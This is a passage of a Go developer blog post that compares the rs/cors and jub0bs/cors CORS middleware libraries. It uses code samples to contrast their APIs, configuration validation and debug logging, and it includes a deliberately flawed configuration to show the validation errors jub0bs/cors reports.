</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;log&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;net/http&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;github.com/jub0bs/cors&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">mux</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">NewServeMux</span>()
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">mux</span>.<span style="color:#a6e22e">HandleFunc</span>(<span style="color:#e6db74">&#34;GET /hello&#34;</span>, <span style="color:#a6e22e">handleHello</span>) <span style="color:#75715e">// no CORS on this</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">corsMw</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">NewMiddleware</span>(<span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">Config</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">Origins</span>:        []<span style="color:#66d9ef">string</span>{<span style="color:#e6db74">&#34;https://example.com&#34;</span>},
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">Methods</span>:        []<span style="color:#66d9ef">string</span>{<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">MethodGet</span>, <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">MethodPost</span>},
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">RequestHeaders</span>: []<span style="color:#66d9ef">string</span>{<span style="color:#e6db74">&#34;Authorization&#34;</span>},
</span></span><span style="display:flex;"><span>  })
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">Fatal</span>(<span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">corsMw</span>.<span style="color:#a6e22e">SetDebug</span>(<span style="color:#66d9ef">true</span>) <span style="color:#75715e">// optional: turn debug mode on</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">api</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">NewServeMux</span>()
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">api</span>.<span style="color:#a6e22e">HandleFunc</span>(<span style="color:#e6db74">&#34;GET /users&#34;</span>, <span style="color:#a6e22e">handleUsersGet</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">api</span>.<span style="color:#a6e22e">HandleFunc</span>(<span style="color:#e6db74">&#34;POST /users&#34;</span>, <span style="color:#a6e22e">handleUsersPost</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">mux</span>.<span style="color:#a6e22e">Handle</span>(<span style="color:#e6db74">&#34;/api/&#34;</span>, <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StripPrefix</span>(<span style="color:#e6db74">&#34;/api&#34;</span>, <span style="color:#a6e22e">corsMw</span>.<span style="color:#a6e22e">Wrap</span>(<span style="color:#a6e22e">api</span>)))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">Fatal</span>(<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">ListenAndServe</span>(<span style="color:#e6db74">&#34;:8080&#34;</span>, <span style="color:#a6e22e">mux</span>))
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">handleHello</span>(<span style="color:#a6e22e">w</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">ResponseWriter</span>, <span style="color:#a6e22e">_</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Request</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">io</span>.<span style="color:#a6e22e">WriteString</span>(<span style="color:#a6e22e">w</span>, <span style="color:#e6db74">&#34;Hello, World!&#34;</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">handleUsersGet</span>(<span style="color:#a6e22e">w</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">ResponseWriter</span>, <span style="color:#a6e22e">_</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Request</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// omitted</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">handleUsersPost</span>(<span style="color:#a6e22e">w</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">ResponseWriter</span>, <span style="color:#a6e22e">_</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Request</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// omitted</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>If you&rsquo;re already convinced and wish to migrate your code to
<a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> without further ado,
skip to the <a href="#migration-guide">migration guide</a> further down this post.</p>
<h2 id="why-you-should-prefer-jub0bscors">Why you should prefer jub0bs/cors <a href="#why-you-should-prefer-jub0bscors">¶</a></h2>
<p><a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a> deserves credit for being the most popular CORS middleware
library for Go. Its development, still ongoing, spans close to ten years and,
to this day, <a href="https://deps.dev/go/github.com%2Frs%2Fcors/v1.10.1/dependents" target="_blank" rel="noopener">many open-source projects</a> depend on it.
But is it perfect?
No library is, of course, but I believe Go developers deserve the best.
In my opinion, <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a> suffers from some shortcomings that
<a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> addresses; allow me to detail just a few of them.</p>
<h3 id="simpler-api">Simpler API <a href="#simpler-api">¶</a></h3>
<p>If you consult the documentation of <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>,
you&rsquo;ll quickly realise that the library provides no fewer than four ways
of specifying which Web origins should be allowed by the desired CORS middleware:</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;display:grid;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;display:grid;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1
</span><span style="background-color:#3c3d38"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2
</span></span><span style="background-color:#3c3d38"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3
</span></span><span style="background-color:#3c3d38"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4
</span></span><span style="background-color:#3c3d38"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5
</span></span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;display:grid;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">Options</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex; background-color:#3c3d38"><span>  <span style="color:#a6e22e">AllowedOrigins</span> []<span style="color:#66d9ef">string</span>
</span></span><span style="display:flex; background-color:#3c3d38"><span>  <span style="color:#a6e22e">AllowOriginFunc</span> <span style="color:#66d9ef">func</span>(<span style="color:#66d9ef">string</span>) <span style="color:#66d9ef">bool</span>
</span></span><span style="display:flex; background-color:#3c3d38"><span>  <span style="color:#a6e22e">AllowOriginRequestFunc</span> <span style="color:#66d9ef">func</span>(<span style="color:#f92672">*</span><span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Request</span>, <span style="color:#66d9ef">string</span>) <span style="color:#66d9ef">bool</span> <span style="color:#75715e">/* deprecated */</span>
</span></span><span style="display:flex; background-color:#3c3d38"><span>  <span style="color:#a6e22e">AllowOriginVaryRequestFunc</span> <span style="color:#66d9ef">func</span>(<span style="color:#f92672">*</span><span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Request</span>, <span style="color:#66d9ef">string</span>) (<span style="color:#66d9ef">bool</span>, []<span style="color:#66d9ef">string</span>)
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">AllowedMethods</span> []<span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">AllowedHeaders</span> []<span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">ExposedHeaders</span> []<span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">MaxAge</span> <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">AllowCredentials</span> <span style="color:#66d9ef">bool</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">AllowPrivateNetwork</span> <span style="color:#66d9ef">bool</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">OptionsPassthrough</span> <span style="color:#66d9ef">bool</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">OptionsSuccessStatus</span> <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">Debug</span> <span style="color:#66d9ef">bool</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">Logger</span> <span style="color:#a6e22e">Logger</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p>Not only is such a proliferation of redundant options overwhelming
but, <a href="https://jub0bs.com/posts/2023-02-08-fearless-cors/#do-not-support-custom-callbacks" target="_blank" rel="noopener">as mentioned in an earlier post</a>,
some of them are deceptively easy to misuse.
In comparison, <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> provides a single way of configuring
any specific aspect of your desired CORS middleware:</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;display:grid;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;display:grid;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1
</span><span style="background-color:#3c3d38"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2
</span></span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;display:grid;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">Config</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex; background-color:#3c3d38"><span>  <span style="color:#a6e22e">Origins</span>         []<span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">Credentialed</span>    <span style="color:#66d9ef">bool</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">Methods</span>         []<span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">RequestHeaders</span>  []<span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">MaxAgeInSeconds</span> <span style="color:#66d9ef">int</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">ResponseHeaders</span> []<span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">ExtraConfig</span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// contains filtered or unexported fields</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
<p>More esoteric options are hidden away
in a separate struct type named <a href="https://pkg.go.dev/github.com/jub0bs/cors#ExtraConfig" target="_blank" rel="noopener"><code>ExtraConfig</code></a>.
Therefore, <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>&rsquo;s API is easier to apprehend
and lends itself better to autocomplete.</p>
<hr>
<p>As a bonus, and <a href="https://github.com/rs/cors/pull/164" target="_blank" rel="noopener">contrary to rs/cors</a>,
<a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> allows you to marshal/unmarshal
your whole CORS configuration to/from JSON or YAML.</p>
<hr>
<h3 id="better-documentation">Better documentation <a href="#better-documentation">¶</a></h3>
<p>I&rsquo;ve taken special care to write <a href="https://pkg.go.dev/github.com/jub0bs/cors" target="_blank" rel="noopener">precise and useful documentation</a>
for <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>.
In particular, <a href="https://go.dev/doc/go1.22#enhanced_routing_patterns" target="_blank" rel="noopener">the recent addition of enhanced routing patterns</a>
in <a href="https://pkg.go.dev/net/http" target="_blank" rel="noopener">net/http</a> deserved clarification;
proper application of a CORS middleware (regardless of which library produced it)
in conjunction with the use of <a href="https://pkg.go.dev/net/http#hdr-Patterns" target="_blank" rel="noopener">&ldquo;method-full&rdquo; patterns</a> can indeed
be challenging at first.
I myself certainly was confused until <a href="https://infosec.exchange/@carlana@tech.lgbt" target="_blank" rel="noopener">Carlana Johnson</a>
<a href="https://github.com/golang/go/issues/61410#issuecomment-1759593180" target="_blank" rel="noopener">helped me realise</a> that <a href="https://pkg.go.dev/net/http#ServeMux" target="_blank" rel="noopener"><code>http.ServeMux</code></a> composition
is key.
To spare users of <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> similar confusion,
I&rsquo;ve included <a href="https://pkg.go.dev/github.com/jub0bs/cors#Middleware.Wrap" target="_blank" rel="noopener">elucidating examples</a> in the documentation.</p>
<p>On top of that, although <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> plays best with
<a href="https://pkg.go.dev/net/http" target="_blank" rel="noopener">net/http</a>&rsquo;s router,
I&rsquo;ve released examples involving third-party routers
(such as <a href="https://github.com/go-chi/chi" target="_blank" rel="noopener">Chi</a>, <a href="https://github.com/labstack/echo" target="_blank" rel="noopener">Echo</a>, and <a href="https://github.com/gofiber/fiber" target="_blank" rel="noopener">Fiber</a>)
in <a href="https://github.com/jub0bs/cors-examples" target="_blank" rel="noopener">a separate GitHub repository</a>.</p>
<h3 id="extensive-configuration-validation">Extensive configuration validation <a href="#extensive-configuration-validation">¶</a></h3>
<p>In <a href="https://jub0bs.com/posts/2023-02-08-fearless-cors/" target="_blank" rel="noopener">an earlier blog post</a> and in
<a href="https://www.youtube.com/watch?v=5uM6z7RnReE" target="_blank" rel="noopener">the talk I gave at GopherCon Europe 2023</a>,
I argued that the lack of configuration validation is one of the main reasons
why most people struggle to troubleshoot CORS errors.
Unfortunately, a year later, <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a> has not improved in this respect;
consider the following code sample:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#e6db74">&#34;github.com/rs/cors&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">corsMw</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">New</span>(<span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">Options</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">AllowedOrigins</span>: []<span style="color:#66d9ef">string</span>{
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;https://example.org&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;https://*.com&#34;</span>,
</span></span><span style="display:flex;"><span>    },
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">AllowedMethods</span>: []<span style="color:#66d9ef">string</span>{
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;CONNECT&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;RÉSUMÉ&#34;</span>,
</span></span><span style="display:flex;"><span>    },
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">AllowedHeaders</span>: []<span style="color:#66d9ef">string</span>{<span style="color:#e6db74">&#34;auth orization&#34;</span>},
</span></span><span style="display:flex;"><span>  })
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// rest omitted for brevity</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Can you spot issues with the CORS configuration of the desired middleware?
Perhaps you can (with some scrutiny) but <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a> itself cannot,
simply because it performs almost no validation of your CORS configuration.
Instead, it&rsquo;s quite content to produce either a dysfunctional middleware
(which will likely cause you much frustration)
or an insecure one (which will put your users at risk).</p>
<p>Unlike <a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a>, <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> performs extensive
configuration validation in a bid to prevent you from creating dysfunctional
or insecure CORS middleware:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;os&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;github.com/jub0bs/cors&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">corsMw</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">NewMiddleware</span>(<span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">Config</span>{
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">Origins</span>: []<span style="color:#66d9ef">string</span>{
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;https://example.org&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;https://*.com&#34;</span>,
</span></span><span style="display:flex;"><span>    },
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">Methods</span>: []<span style="color:#66d9ef">string</span>{
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;CONNECT&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;RÉSUMÉ&#34;</span>,
</span></span><span style="display:flex;"><span>    },
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">RequestHeaders</span>: []<span style="color:#66d9ef">string</span>{<span style="color:#e6db74">&#34;auth orization&#34;</span>},
</span></span><span style="display:flex;"><span>  })
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Fprintln</span>(<span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Stderr</span>, <span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Exit</span>(<span style="color:#ae81ff">1</span>)
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// rest omitted for brevity</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The program above fails (as it should) with an error message that alerts you
to all the issues with your CORS configuration:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>cors: forbidden method name &#34;CONNECT&#34;
</span></span><span style="display:flex;"><span>cors: invalid method name &#34;RÉSUMÉ&#34;
</span></span><span style="display:flex;"><span>cors: invalid request-header name &#34;auth orization&#34;
</span></span><span style="display:flex;"><span>cors: for security reasons, origin patterns like &#34;https://*.com&#34; that
</span></span><span style="display:flex;"><span>  encompass subdomains of a public suffix are by default prohibited
</span></span></code></pre></div><h3 id="debug-mode">Debug mode <a href="#debug-mode">¶</a></h3>
<p>Most CORS middleware libraries
tend to omit all CORS headers in responses to failed preflight requests.
<a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a> behaves like this; and <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> does too,
at least by default.</p>
<p>On the one hand, this behaviour adheres to good security practice: CORS
middleware shoud ideally reveal as little as possible about their configuration
(such as <a href="https://github.com/expressjs/cors/issues/90" target="_blank" rel="noopener">allowed origins</a>,
<a href="https://stackoverflow.com/questions/74817325/should-cors-be-aware-of-endpoints-method-on-preflight-response" target="_blank" rel="noopener">allowed methods</a>, etc.)
to potential adversaries when preflight fails.
On the other hand, and <a href="https://jub0bs.com/posts/2023-02-08-fearless-cors/#9-ease-troubleshooting-by-eschewing-shortcuts-during-preflight" target="_blank" rel="noopener">as explained in an earlier post</a>,
this behaviour severely impedes troubleshooting of CORS issues:
the browser, left with insufficient information about the preflight failure,
ends up raising an error whose message masks the root cause of your CORS issue.</p>
<hr>
<p>Typically, you get an error message like the following:</p>
<blockquote>
<p>Access to fetch at <code>https://your-server.example.com/users</code>
from origin <code>https://your-client.example.com</code> has been blocked by CORS policy:
Response to preflight request doesn&rsquo;t pass access control check:
No <code>Access-Control-Allow-Origin</code> header is present on the requested resource.
If an opaque response serves your needs, set the request&rsquo;s mode to <code>no-cors</code>
to fetch the resource with CORS disabled.</p>
</blockquote>
<p>Perplexed, you go and double-check your server&rsquo;s CORS configuration,
and you find that <code>https://your-client.example.com</code> <em>is</em> in fact listed
as an allowed origin there&hellip; 🤔</p>
<p>Finally, after hours getting nowhere,
you discover the root cause of your CORS issue:
the server&rsquo;s configuration is insufficiently permissive because the client&rsquo;s
requests  include some header (<code>Authorization</code>, say) that happens not to be
explicitly allowed, but should be. 🤬</p>
<hr>
<p>In my opinion, this behaviour of CORS middleware is one of the main reasons
why CORS errors have a notorious reputation of being difficult and
time-consuming to troubleshoot.</p>
<p><a href="https://github.com/rs/cors" target="_blank" rel="noopener">rs/cors</a> gets out of the difficulty by <a href="https://pkg.go.dev/github.com/rs/cors@v1.10.1#Options.Logger" target="_blank" rel="noopener">letting its users specify a
logger as part of their middleware configuration</a>.
That logger then emits an informative message for every request handled
by the middleware:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>2024/04/23 13:40:12 Handler: Preflight request
</span></span><span style="display:flex;"><span>2024/04/23 13:40:12   Preflight aborted: headers &#39;[Authorization]&#39; not allowed
</span></span><span style="display:flex;"><span>2024/04/23 13:40:13 Handler: Preflight request
</span></span><span style="display:flex;"><span>2024/04/23 13:40:13   Preflight aborted: method &#39;PUT&#39; not allowed
</span></span><span style="display:flex;"><span>2024/04/23 13:40:14 Handler: Preflight request
</span></span><span style="display:flex;"><span>2024/04/23 13:40:14   Preflight aborted: origin &#39;https://example.com&#39; not allowed
</span></span><span style="display:flex;"><span>2024/04/23 13:40:15 Handler: Actual request
</span></span><span style="display:flex;"><span>2024/04/23 13:40:15   Actual request no headers added: missing origin
</span></span><span style="display:flex;"><span>2024/04/23 13:40:17 Handler: Actual request
</span></span><span style="display:flex;"><span>2024/04/23 13:40:17   Actual request no headers added: missing origin
</span></span><span style="display:flex;"><span>2024/04/23 13:40:18 Handler: Actual request
</span></span><span style="display:flex;"><span>2024/04/23 13:40:18   Actual response added headers: map[Access-Control-Allow-Origin:[https://example.org] Vary:[Origin]]
</span></span></code></pre></div><p>This approach does ease troubleshooting, but is far from ideal:
you can imagine how much noise such a logger generates
on a CORS-aware server under heavy load&hellip; 🤢</p>
<p><a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> takes a different approach: its CORS middleware
provides a debug mode, which you can toggle
via the <a href="https://pkg.go.dev/github.com/jub0bs/cors#Middleware.SetDebug" target="_blank" rel="noopener"><code>(*Middleware).SetDebug</code> method</a>:</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;display:grid;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
